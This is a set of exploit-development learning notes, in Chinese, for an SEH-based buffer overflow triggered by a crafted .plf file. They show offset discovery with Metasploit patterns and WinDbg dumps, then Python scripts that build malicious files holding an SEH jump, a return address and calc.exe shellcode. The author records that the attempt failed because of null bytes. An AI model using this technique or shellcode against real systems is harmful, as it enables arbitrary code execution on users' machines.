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find pattern

daniel@daniel-mint ~/msf/metasploit-framework/tools $ ruby pattern_create.rb 2000Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co

生成定位pattern

 

根据pattern查找位置

0:000> db poi(fs:0)0012f2c8  32 41 75 33 41 75 34 41-75 35 41 75 36 41 75 37  2Au3Au4Au5Au6Au70012f2d8  41 75 38 41 75 39 41 76-30 41 76 31 41 76 32 41  Au8Au9Av0Av1Av2A0012f2e8  76 33 41 76 34 41 76 35-41 76 36 41 76 37 41 76  v3Av4Av5Av6Av7Av0012f2f8  38 41 76 39 41 77 30 41-77 31 41 77 32 41 77 33  8Av9Aw0Aw1Aw2Aw30012f308  41 77 34 41 77 35 41 77-36 41 77 37 41 77 38 41  Aw4Aw5Aw6Aw7Aw8A0012f318  77 39 41 78 30 41 78 31-41 78 32 41 78 33 41 78  w9Ax0Ax1Ax2Ax3Ax0012f328  34 41 78 35 41 78 36 41-78 37 41 78 38 41 78 39  4Ax5Ax6Ax7Ax8Ax90012f338  41 79 30 41 79 31 41 79-32 41 79 33 41 79 34 41  Ay0Ay1Ay2Ay3Ay4A

  

Prelude> zip [1..100] [‘a‘..‘z‘][(1,‘a‘),(2,‘b‘),(3,‘c‘),(4,‘d‘),(5,‘e‘),(6,‘f‘),(7,‘g‘),(8,‘h‘),(9,‘i‘),(10,‘j‘),(11,‘k‘),(12,‘l‘),(13,‘m‘),(14,‘n‘),(15,‘o‘),(16,‘p‘),(17,‘q‘),(18,‘r‘),(19,‘s‘),(20,‘t‘),(21,‘u‘),(22,‘v‘),(23,‘w‘),(24,‘x‘),(25,‘y‘),(26,‘z‘)]

  

因此Au3-Aa0 = [u-a] * 10 + [3 - 0 ] = (21 - 1) * 10 + 3 = 203,即Au3是第203个三元组

所以2Au3是在203*3 = 609偏移处

 

或者

At9-Aa0 = [t - a + 1] * 10 = 200组,占据了600个字节,

Au0Au1Au2Au3

Prelude> zip [601..700] [‘A‘,‘u‘,‘0‘,‘A‘,‘u‘,‘1‘,‘A‘,‘u‘,‘2‘,‘A‘,‘u‘,‘3‘][(601,‘A‘),(602,‘u‘),(603,‘0‘),(604,‘A‘),(605,‘u‘),(606,‘1‘),(607,‘A‘),(608,‘u‘),(609,‘2‘),(610,‘A‘),(611,‘u‘),(612,‘3‘)]

  

因此是609偏移,或者说占据了609-612这四个字节。

 参考:http://www.fuzzysecurity.com/tutorials/expDev/3.html

filename="evil.plf"

buffer = "A"*608 + "B"*4 + "C"*4 + "D"*(2000 - 608 - 8 - 8)

textfile = open(filename , ‘w‘)
textfile.write(buffer)
textfile.close()

  

0:000> dd poi(fs:0)0012f2c8  42424242 43434343 44444444 444444440012f2d8  44444444 44444444 44444444 444444440012f2e8  44444444 44444444 44444444 444444440012f2f8  44444444 44444444 44444444 444444440012f308  44444444 44444444 44444444 444444440012f318  44444444 44444444 44444444 444444440012f328  44444444 44444444 44444444 444444440012f338  44444444 44444444 44444444 44444444

  

filename="evil1.plf" buf = "A"*608 + "\xeb\x06\x90\x90" + "\xb6\xf7\x47\x00"buf += "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b"buf += "\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"buf += "\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20"buf += "\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b"buf += "\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0"buf += "\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b"buf += "\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01"buf += "\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2"buf += "\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"buf += "\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b"buf += "\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86"buf += "\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68\x31\x8b"buf += "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd"buf += "\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"buf += "\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63"buf += "\x2e\x65\x78\x65\x00"buf += "D"*(2000 - 608 - 8 - 8 - 200)  textfile = open(filename , ‘w‘)textfile.write(buf)textfile.close()

  

这种方式,并没有exploit成功,原因是shellcode中不能有\x00,这会使字符串截止,而且msfpayload生成的payload中也包含\x00,也无法使用。